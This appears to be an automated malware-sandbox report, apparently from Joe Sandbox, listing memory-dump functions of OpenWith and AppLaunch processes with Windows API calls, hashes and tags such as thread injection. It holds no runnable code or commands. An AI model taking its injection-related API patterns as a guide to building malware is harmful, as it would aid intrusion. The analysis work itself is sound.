
Source File: 00000002.00000003.2028105266.00007DF486EC1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF486EC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_7df486ec1000_OpenWith.jbxd

Similarity

API ID: FunctionTable
String ID:
API String ID: 1252446317-0
Opcode ID: c25ee31d986a096af27cae4d435ad27a8a6e049fd93e6a2be314aec3626596b8
Instruction ID: d321ab9c1bec2cda9b1bd2c46d7ecf02f56604d16577cdc5c9f28d673b64d40f
Opcode Fuzzy Hash: c25ee31d986a096af27cae4d435ad27a8a6e049fd93e6a2be314aec3626596b8
Instruction Fuzzy Hash: 3DE086305149094FEF9CD61DC80A7603AE0EB5C31AFA0426DD405CD291CB3DD8ABCF41

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF486EEB870 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

_malloc_dbg.MSVCRT ref: 00007DF486EEB87A

Memory Dump Source

Source File: 00000002.00000003.2028105266.00007DF486EC1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF486EC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_7df486ec1000_OpenWith.jbxd

Similarity

API ID: _malloc_dbg
String ID:
API String ID: 1527718024-0
Opcode ID: 12205ea8074b0c54af7b0ceede77e0325f5c308324c3d42d751b3e8c1284860c
Instruction ID: a3dbbf16273c49e83e9c3eafb261cee39e55b44393fc2e731246ca3752c033ae
Opcode Fuzzy Hash: 12205ea8074b0c54af7b0ceede77e0325f5c308324c3d42d751b3e8c1284860c
Instruction Fuzzy Hash: 6BD05E10B15E0E1BAB8863BE1C8923622E6E7D82327840137F909C2254ED29CC854251

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF486ED1E4C Relevance: 1.5, APIs: 1, Instructions: 24libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE ref: 00007DF486ED1E6E

Memory Dump Source

Source File: 00000002.00000003.2028105266.00007DF486EC1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF486EC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_7df486ec1000_OpenWith.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: deadc42d593f6e2d9e8bf000e5cc548490ab76c2dd2841c06e942c08cce04583
Instruction ID: f170aeceb6a5ccaebd9b836ec98851a51e93c11f63e9735d8c711aeb47f33335
Opcode Fuzzy Hash: deadc42d593f6e2d9e8bf000e5cc548490ab76c2dd2841c06e942c08cce04583
Instruction Fuzzy Hash: 67D05E2073490D1BEA88636D1CA53762196EBC8221B90113AA80AC2281D958CC554241

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF486EE14C4 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

??3@YAXPEAX@Z.MSVCRT ref: 00007DF486EE14ED

Memory Dump Source

Source File: 00000002.00000003.2028105266.00007DF486EC1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF486EC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_7df486ec1000_OpenWith.jbxd

Similarity

API ID: ??3@
String ID:
API String ID: 613200358-0
Opcode ID: c90adcd0eea0c5e08c1d8f092ee7ab60bc92da0a83167810985a0d7785137009
Instruction ID: 28d44d013b83a1902661ec76211e576fd9bfe24b8e2a2db91f952128981c88f6
Opcode Fuzzy Hash: c90adcd0eea0c5e08c1d8f092ee7ab60bc92da0a83167810985a0d7785137009
Instruction Fuzzy Hash: D0E0EC30919D898FEBC9BB3898487A532E0FB18319FD40566C40BC72D0E67CD9C6C740

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF486ED4434 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

??3@YAXPEAX@Z.MSVCRT ref: 00007DF486ED443D

Memory Dump Source

Source File: 00000002.00000003.2028105266.00007DF486EC1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF486EC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_7df486ec1000_OpenWith.jbxd

Similarity

API ID: ??3@
String ID:
API String ID: 613200358-0
Opcode ID: 4fad1a04826b139af89cf909206fbc8b5ae341a752f874dda09751c78bab0021
Instruction ID: fdb2aa7975609a3664d76ba5958acdc99f5112abf83f388be632e5a3493fbb82
Opcode Fuzzy Hash: 4fad1a04826b139af89cf909206fbc8b5ae341a752f874dda09751c78bab0021
Instruction Fuzzy Hash: 89B01224917C4F4AFD9C3BBA0CAA0263461BF24611FC40014D80BD4484E64CC5D64383

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF486EC3810 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

??3@YAXPEAX@Z.MSVCRT ref: 00007DF486EC3819

Memory Dump Source

Source File: 00000002.00000003.2028105266.00007DF486EC1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF486EC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_7df486ec1000_OpenWith.jbxd

Similarity

API ID: ??3@
String ID:
API String ID: 613200358-0
Opcode ID: 9ea0ef64f8e175971b3757663d6ca98ea60d11fb241b1fa8108d7b95556115b0
Instruction ID: f280f628b50834d5d598571e17a47399f2f24910d9a06103a5b0e4e6d2810f26
Opcode Fuzzy Hash: 9ea0ef64f8e175971b3757663d6ca98ea60d11fb241b1fa8108d7b95556115b0
Instruction Fuzzy Hash: D9B01224967C8F02FE8C33764F6A4353460BF58312FC40124E806C0491F50CC4E49342

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF486ED1C08 Relevance: 1.3, APIs: 1, Instructions: 71stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNELBASE ref: 00007DF486ED1C30

Memory Dump Source

Source File: 00000002.00000003.2028105266.00007DF486EC1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF486EC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_7df486ec1000_OpenWith.jbxd

Similarity

API ID: lstrcmpi
String ID:
API String ID: 1586166983-0
Opcode ID: baf14e6f116fe512c943b5f51774f96ca5cd98818a459cbe1e6267cfd3004480
Instruction ID: 87fd559f40e08b15972113f306e8caaec8eb7a2a185d34b9ccd2d479cb9aee89
Opcode Fuzzy Hash: baf14e6f116fe512c943b5f51774f96ca5cd98818a459cbe1e6267cfd3004480
Instruction Fuzzy Hash: E2113A30B149484FEB989B6C986D7B736E1FF94621F840277D40FCA1A5EE2C9D04C650

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00007DF486EEBFA1 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000003.2028105266.00007DF486EC1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF486EC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_7df486ec1000_OpenWith.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 908846e4d56906f08b5523d06497ec254c0ff1885d66f9c620a5f7baa71d2024
Instruction ID: 5fd85f07ed1ea7bdab0a8e4948fe0c142f4bce46493ac3c5a4957af1fc578ae2
Opcode Fuzzy Hash: 908846e4d56906f08b5523d06497ec254c0ff1885d66f9c620a5f7baa71d2024
Instruction Fuzzy Hash: DDB01120EAC800C2C2080E0AB802330F2B0E30B300F0030302082F3A22CAA0CC80808F

Uniqueness

Uniqueness Score: -1.00%

Function 000002427BB70511 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2028636190.000002427BB70000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002427BB70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2427bb70000_OpenWith.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d522c07823fb8778296108337a3d1ec347010d1dae431256f70b68abef76ec51
Instruction ID: 9c6f723353de5f7bfac1b68b00d860ec9f8fa9508ac40f659eae0282c9a534f1
Opcode Fuzzy Hash: d522c07823fb8778296108337a3d1ec347010d1dae431256f70b68abef76ec51
Instruction Fuzzy Hash: 26B01132E28A0082E3880E0AB8023B0F2B0C30B300F00B0322008F3220C828CC08028F

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF486ECAC1C Relevance: .0, Instructions: 3COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000003.2028105266.00007DF486EC1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF486EC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_7df486ec1000_OpenWith.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3602e1d777bf5bb1f841dfb4cee0302930828d01fa0380f7af7a1f0542282627
Instruction ID: 0751c3cbb4998865a7d4e882d5ccb53d98e9673f9125dfd07c26e0e6d1d4f56a
Opcode Fuzzy Hash: 3602e1d777bf5bb1f841dfb4cee0302930828d01fa0380f7af7a1f0542282627
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: AppLaunch.exePID: 7124, Parent PID: 6300COMMON

Execution Graph

Execution Coverage:	3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	9%
Total number of Nodes:	134
Total number of Limit Nodes:	12

Executed Functions

Function 0000018E5D852D00 Relevance: 17.0, APIs: 2, Strings: 7, Instructions: 1263
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFormatCurrentUserKeyPath.NTDLL ref: 0000018E5D853847
_calloc_dbg.MSVCRT ref: 0000018E5D85399D

Strings

MZ, xrefs: 0000018E5D85394D
;Ln, xrefs: 0000018E5D853190
;$dW, xrefs: 0000018E5D853CF8
;$dW, xrefs: 0000018E5D853509
MZ, xrefs: 0000018E5D85355F
N, xrefs: 0000018E5D853A34
t, xrefs: 0000018E5D853A3C

Memory Dump Source

Source File: 00000006.00000002.2026763505.0000018E5D841000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000018E5D841000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_18e5d841000_AppLaunch.jbxd

Similarity

API ID: CurrentFormatPathUser_calloc_dbg
String ID: ;$dW$;$dW$MZ$MZ$N$t$;Ln
API String ID: 2292065830-84560671
Opcode ID: 157f1959f6c1ae296273567b1bb11043f0c817bd526c72fbd35fb0e6045e4e9b
Instruction ID: 77fb4060ab31a1575874909b4fb9d69acde39b49fe0bc19abf8ba052a73dae76
Opcode Fuzzy Hash: 157f1959f6c1ae296273567b1bb11043f0c817bd526c72fbd35fb0e6045e4e9b
Instruction Fuzzy Hash: A6A29DB4518B888FD3B5DF18D8857EAB7E4FB99701F104A2ED48EC3251DB719581CB82

Uniqueness

Uniqueness Score: -1.00%

Function 0000018E5D84262C Relevance: 3.3, APIs: 2, Instructions: 293
threadinjectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindCloseChangeNotification.KERNELBASE ref: 0000018E5D842732
SuspendThread.KERNELBASE ref: 0000018E5D842774

Memory Dump Source

Source File: 00000006.00000002.2026763505.0000018E5D841000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000018E5D841000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_18e5d841000_AppLaunch.jbxd

Similarity

API ID: ChangeCloseFindNotificationSuspendThread
String ID:
API String ID: 186804629-0
Opcode ID: 012aa871f3677a383b4dfc60332e70ad97fcfb6c7e8e6711813f5b43dbe7f4be
Instruction ID: 3bc57068ee60f85d21b96ac17d3459f5ff20c079801f043f38ddc5d75b122164
Opcode Fuzzy Hash: 012aa871f3677a383b4dfc60332e70ad97fcfb6c7e8e6711813f5b43dbe7f4be
Instruction Fuzzy Hash: BD91C17430CA158BEBA99B18D8953BDB3D1FB5931CF148169D04AC7186DE36DA43CB82

Uniqueness

Uniqueness Score: -1.00%

Function 0000018E5D84DCA8 Relevance: 1.6, APIs: 1, Instructions: 112
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrLoadDll.NTDLL ref: 0000018E5D84DD84

Memory Dump Source

Source File: 00000006.00000002.2026763505.0000018E5D841000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000018E5D841000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_18e5d841000_AppLaunch.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 2d073a93e6920a79e751b457bbe1fffaf28ea2cd955acdc2b8805f6aa02d118b
Instruction ID: 1c04054480afa82eaaea7206573f9ec3d152b15a7329516f6181b8992419a16f
Opcode Fuzzy Hash: 2d073a93e6920a79e751b457bbe1fffaf28ea2cd955acdc2b8805f6aa02d118b
Instruction Fuzzy Hash: B8210830318F094BFB6A6B68AC4A7B532D9E79975DB10403EE506C2392EE5ADC4283C1

Uniqueness

Uniqueness Score: -1.00%

Function 0000018E5D852868 Relevance: 1.5, APIs: 1, Instructions: 18nativeCOMMON

Download Yara Rule

APIs

NtAcceptConnectPort.NTDLL ref: 0000018E5D852883

Memory Dump Source

Source File: 00000006.00000002.2026763505.0000018E5D841000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000018E5D841000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_18e5d841000_AppLaunch.jbxd

Similarity

API ID: AcceptConnectPort
String ID:
API String ID: 1658770261-0
Opcode ID: d59889f617d7bff08c3c306dcc86729138403678600cce333b6fa0b1ef9d72b8
Instruction ID: 22de6d0f1cfea153728fa1a27db187a56971334d89c6121bf8d175bfd7caed2d
Opcode Fuzzy Hash: d59889f617d7bff08c3c306dcc86729138403678600cce333b6fa0b1ef9d72b8
Instruction Fuzzy Hash: 21D0A738E68F4A5BD654B7698C0030937E1F7D5308F9486549449C3204EA3DD5024786

Uniqueness

Uniqueness Score: -1.00%

Function 0000018E5D84DFA0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 74
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE ref: 0000018E5D84E023
VirtualProtect.KERNELBASE ref: 0000018E5D84E04C

Strings

rE\, xrefs: 0000018E5D84DFB8

Memory Dump Source

Source File: 00000006.00000002.2026763505.0000018E5D841000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000018E5D841000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_18e5d841000_AppLaunch.jbxd

Similarity

API ID: ProtectVirtual
String ID: rE\
API String ID: 544645111-988334199
Opcode ID: 56ded2f76aba9e521797851837a4b2f3d153c924ec938fbea88638a34dbd0d3f
Instruction ID: c5a208e67de2227fd07d6da59b119f54a85d8009e0c99c221007827c2ead94da
Opcode Fuzzy Hash: 56ded2f76aba9e521797851837a4b2f3d153c924ec938fbea88638a34dbd0d3f
Instruction Fuzzy Hash: 9B11A73534890D0BEB46FB1898D1BE972DAF7D8308F505539944FC3286EE29DA464741

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA01360 Relevance: 5.1, Strings: 4, Instructions: 105
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

([xo, xrefs: 00007FFD9BA0137A
[xo, xrefs: 00007FFD9BA01430
[xo, xrefs: 00007FFD9BA01442
[xo, xrefs: 00007FFD9BA013D7

Memory Dump Source

Source File: 00000006.00000002.2030294993.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9ba00000_AppLaunch.jbxd

Similarity

API ID:
String ID: [xo$ [xo$ [xo$([xo
API String ID: 0-2170886167
Opcode ID: ba1d0dbc62cfde9056ec9116910e33065d2f69eee0a9bc45b14b435223d30bf3
Instruction ID: 4b5b4a7777722fdc2c34773892d14750b347b94d27337873f5d94464728981a0
Opcode Fuzzy Hash: ba1d0dbc62cfde9056ec9116910e33065d2f69eee0a9bc45b14b435223d30bf3
Instruction Fuzzy Hash: E6312620709D4D4FE798E72C94646A437D2EFAB351B4904F6E449CF2B2DE66EC818382

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA013B9 Relevance: 3.8, Strings: 3, Instructions: 75
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

[xo, xrefs: 00007FFD9BA01430
[xo, xrefs: 00007FFD9BA01442
[xo, xrefs: 00007FFD9BA013D7

Memory Dump Source

Source File: 00000006.00000002.2030294993.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9ba00000_AppLaunch.jbxd

Similarity

API ID:
String ID: [xo$ [xo$ [xo
API String ID: 0-933861887
Opcode ID: e23043a7e17829b945c8429986cc23c16a2ed134bc541e4769a9f61ad3aff131
Instruction ID: f1417d432ab3a698c57ef360bc2d64b8df6c182c80ee32a55346d9e5dcc9ea8c
Opcode Fuzzy Hash: e23043a7e17829b945c8429986cc23c16a2ed134bc541e4769a9f61ad3aff131
Instruction Fuzzy Hash: 7E11D62170EE8D4FD79A932C98746903BE1EF6B25074A00F7E489CF2F2DD566D418392

Uniqueness

Uniqueness Score: -1.00%

Function 0000018E5D8422D4 Relevance: 3.2, APIs: 2, Instructions: 222
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNELBASE ref: 0000018E5D8422EC
VirtualAlloc.KERNELBASE ref: 0000018E5D8423B8

Memory Dump Source

Source File: 00000006.00000002.2026763505.0000018E5D841000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000018E5D841000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_18e5d841000_AppLaunch.jbxd

Similarity

API ID: AllocInfoSystemVirtual
String ID:
API String ID: 3440192736-0
Opcode ID: 9d7d394a66d420f46729fce2db7dff2fa9ad5080858a19c0972d689d8e5b7fdb
Instruction ID: f290e75bc3c88bce2d33ee271b766f91094d9fdc2002a46b2a3ac0c04377fa27
Opcode Fuzzy Hash: 9d7d394a66d420f46729fce2db7dff2fa9ad5080858a19c0972d689d8e5b7fdb
Instruction Fuzzy Hash: 1551073431CE0D4FFB56EB6C94587A972E1F79930CF40813AE849C71A5EE76C9828781

Uniqueness

Uniqueness Score: -1.00%

Function 0000018E5D8511C4 Relevance: 3.1, APIs: 2, Instructions: 99
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000018E5D84A9C0: _malloc_dbg.MSVCRT(?,?,?,?,?,?,?,?,?,0000018E5D850BD7), ref: 0000018E5D84A9DF

MapViewOfFile.KERNELBASE ref: 0000018E5D851208
FindCloseChangeNotification.KERNELBASE ref: 0000018E5D85125C

Memory Dump Source

Source File: 00000006.00000002.2026763505.0000018E5D841000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000018E5D841000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_18e5d841000_AppLaunch.jbxd

Similarity

API ID: ChangeCloseFileFindNotificationView_malloc_dbg
String ID:
API String ID: 125039924-0
Opcode ID: 1615256058a96f662d82e5d70365b5a95ef8095a714b85b8b17bd8c58e22a67e
Instruction ID: 6a71dcea7b30766f7d8afdba59f5f9a7357d5a86f547390858c94ed69d08c65e
Opcode Fuzzy Hash: 1615256058a96f662d82e5d70365b5a95ef8095a714b85b8b17bd8c58e22a67e
Instruction Fuzzy Hash: 2421A635314A085BEB56FB68C8C5BFA73D9EF9430DF418179A44AC6182EF25EA068781

Uniqueness

Uniqueness Score: -1.00%

Function 0000018E5D842978 Relevance: 3.1, APIs: 2, Instructions: 97
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE ref: 0000018E5D8429B7
VirtualProtect.KERNELBASE ref: 0000018E5D842A1D

Memory Dump Source

Source File: 00000006.00000002.2026763505.0000018E5D841000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000018E5D841000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_18e5d841000_AppLaunch.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 2ae842f36fea739c72eb014a1896d53ef59da352bda2e8d5b1b4a374332cb5f1
Instruction ID: 81fc7ad19f38f186ef62af978c5f791cd334e698694cd47697aa71b8612e0941
Opcode Fuzzy Hash: 2ae842f36fea739c72eb014a1896d53ef59da352bda2e8d5b1b4a374332cb5f1
Instruction Fuzzy Hash: E731063130CA844BEB15DF2CD8987A53BD1FB5A318F1542A5EC99C72C9DB59C8438346

Uniqueness

Uniqueness Score: -1.00%

Function 0000018E5D8469B0 Relevance: 3.1, APIs: 2, Instructions: 94
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

TlsFree.KERNELBASE ref: 0000018E5D846A8C
ExitProcess.KERNEL32 ref: 0000018E5D846A94

Memory Dump Source

Source File: 00000006.00000002.2026763505.0000018E5D841000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000018E5D841000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_18e5d841000_AppLaunch.jbxd

Similarity

API ID: ExitFreeProcess
String ID:
API String ID: 3485537046-0
Opcode ID: d6020da5cb3e395719af8aa11c0ece2e8036f559e8e51eb1137d6bc0ca2c9b39
Instruction ID: 8cd2c74751ea6276ae83ddc3b207267d1dd2d48ce49ab4f085dd9de9f257a65b
Opcode Fuzzy Hash: d6020da5cb3e395719af8aa11c0ece2e8036f559e8e51eb1137d6bc0ca2c9b39
Instruction Fuzzy Hash: 5A31413C3019019BEB55EB74D1D67E973E1FB4435CF24C2B494468A2DADE229E03CB62

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA00A89 Relevance: 2.7, Strings: 2, Instructions: 206
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

x6xo, xrefs: 00007FFD9BA00BA8
x6xo, xrefs: 00007FFD9BA00B19

Memory Dump Source

Source File: 00000006.00000002.2030294993.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9ba00000_AppLaunch.jbxd

Similarity

API ID:
String ID: x6xo$x6xo
API String ID: 0-1211243512
Opcode ID: bcb142ea79ed7df73cb9315b47711d75f51e24a61aff1b39f72228c1e572ee61
Instruction ID: f9a7f3e050834b95ea1c384c99545837b45df0ef3be883906efa44fc57ef7eaf
Opcode Fuzzy Hash: bcb142ea79ed7df73cb9315b47711d75f51e24a61aff1b39f72228c1e572ee61
Instruction Fuzzy Hash: 3361B72070EA484FE79AAB7C84216A53BA1EF4B744F5504FAD499CF3E3CD26AD418391

Uniqueness

Uniqueness Score: -1.00%

Function 0000018E5D847F68 Relevance: 1.8, APIs: 1, Instructions: 277
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SafeArrayCreate.OLEAUT32 ref: 0000018E5D84806A

Memory Dump Source

Source File: 00000006.00000002.2026763505.0000018E5D841000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000018E5D841000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_18e5d841000_AppLaunch.jbxd

Similarity

API ID: ArrayCreateSafe
String ID:
API String ID: 37945469-0
Opcode ID: feed77ef0cd4c16f01a3a72a0fcfe8a48c873aaf3ec9f5130becd9de9a079a0d
Instruction ID: 8cb22c1acd5d5e8dc72b2bbcec4e7eec34da24871f3024a4549ab89ff81db23b
Opcode Fuzzy Hash: feed77ef0cd4c16f01a3a72a0fcfe8a48c873aaf3ec9f5130becd9de9a079a0d
Instruction Fuzzy Hash: 58914D34308B088FEB84EF28D488B9AB7E5FB99309F10496DE54AC7261DF75D945CB42

Uniqueness

Uniqueness Score: -1.00%

Function 0000018E5D846C10 Relevance: 1.6, APIs: 1, Instructions: 142
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE ref: 0000018E5D846CD6

Memory Dump Source

Source File: 00000006.00000002.2026763505.0000018E5D841000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000018E5D841000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_18e5d841000_AppLaunch.jbxd

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 8001d989f1cdce814a29af2e0a7e370aa2634a56a7ebfb0ceb641defc4775816
Instruction ID: c7fcade84966f7a68bde2cea5dfbd37e19c85d19de357d67542aeb6c4477e396
Opcode Fuzzy Hash: 8001d989f1cdce814a29af2e0a7e370aa2634a56a7ebfb0ceb641defc4775816
Instruction Fuzzy Hash: 03418638314A085BEB5AF73899927EA33D5EB9431CF448639A846C31D2EE37DA078741

Uniqueness

Uniqueness Score: -1.00%

Function 0000018E5D847BFC Relevance: 1.6, APIs: 1, Instructions: 140
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.2026763505.0000018E5D841000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000018E5D841000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_18e5d841000_AppLaunch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2cc8726696e4af5eff43ddd5b265deb68a8b8f0bb116e718a3ca39d82fa49f0d
Instruction ID: a2da77f2e33b9f9c51a61048f66a75e5cd38ceb70e66aabd343dee9f6620eb98
Opcode Fuzzy Hash: 2cc8726696e4af5eff43ddd5b265deb68a8b8f0bb116e718a3ca39d82fa49f0d
Instruction Fuzzy Hash: 46417D75718A084FD7A5EB24D9857FA76E1F794308F40493EA04AC3250EE358A4A8B86

Uniqueness

Uniqueness Score: -1.00%

Function 0000018E5D84A9C0 Relevance: 1.6, APIs: 1, Instructions: 91
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_malloc_dbg.MSVCRT(?,?,?,?,?,?,?,?,?,0000018E5D850BD7), ref: 0000018E5D84A9DF

Memory Dump Source

Source File: 00000006.00000002.2026763505.0000018E5D841000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000018E5D841000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_18e5d841000_AppLaunch.jbxd

Similarity

API ID: _malloc_dbg
String ID:
API String ID: 1527718024-0
Opcode ID: aae8c414740534a1795d95af746d1b7da2ff8220412b4d3ca615a72aab6f3b5f
Instruction ID: d23335ae4338e0c6dff7ee59737bf9c82cadddeb5e7d6d64a8376a8e224d66c1
Opcode Fuzzy Hash: aae8c414740534a1795d95af746d1b7da2ff8220412b4d3ca615a72aab6f3b5f
Instruction Fuzzy Hash: 08219331314D1C8FDB49EF1CD88C7A177D5FBA831570442A7D809CB255DE35E9858781

Uniqueness

Uniqueness Score: -1.00%

Function 0000018E5D842908 Relevance: 1.6, APIs: 1, Instructions: 52threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 0000018E5D842940

Memory Dump Source

Source File: 00000006.00000002.2026763505.0000018E5D841000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000018E5D841000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_18e5d841000_AppLaunch.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 5c31a46f6d445521225acd11504a663c19e0e3d445cc9bb841d99d51f31de999
Instruction ID: aa007657d659c6d8abc1e7170a3e05a9427238d0498b343f8596ed6a62b975bb
Opcode Fuzzy Hash: 5c31a46f6d445521225acd11504a663c19e0e3d445cc9bb841d99d51f31de999
Instruction Fuzzy Hash: 9C0126357189098FEB54AB6DDC88B7577D1FB8A31EB048074E80AC3144EA3AAC42CB51

Uniqueness

Uniqueness Score: -1.00%

Function 0000018E5D842BA8 Relevance: 1.5, APIs: 1, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0000018E5D842298: VirtualFree.KERNELBASE ref: 0000018E5D8422C0

HeapDestroy.KERNELBASE ref: 0000018E5D842BEE

Memory Dump Source

Source File: 00000006.00000002.2026763505.0000018E5D841000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000018E5D841000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_18e5d841000_AppLaunch.jbxd

Similarity

API ID: DestroyFreeHeapVirtual
String ID:
API String ID: 3297652820-0
Opcode ID: 62d38821374f81693b15bee54f72462dc71ef60c0dbcc9aef65487e59bac73cc
Instruction ID: 403f45cdd0b643e9caa492ab5d6a7554aeaa0f61b6d612e37e819c7887d647b7
Opcode Fuzzy Hash: 62d38821374f81693b15bee54f72462dc71ef60c0dbcc9aef65487e59bac73cc
Instruction Fuzzy Hash: 52013174708B049FF751EF69AC9666637E4F74935BF44803E9405C3164DE3946428B41

Uniqueness

Uniqueness Score: -1.00%

Function 0000018E5D842B54 Relevance: 1.5, APIs: 1, Instructions: 33memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNELBASE ref: 0000018E5D842B74

Memory Dump Source

Source File: 00000006.00000002.2026763505.0000018E5D841000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000018E5D841000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_18e5d841000_AppLaunch.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
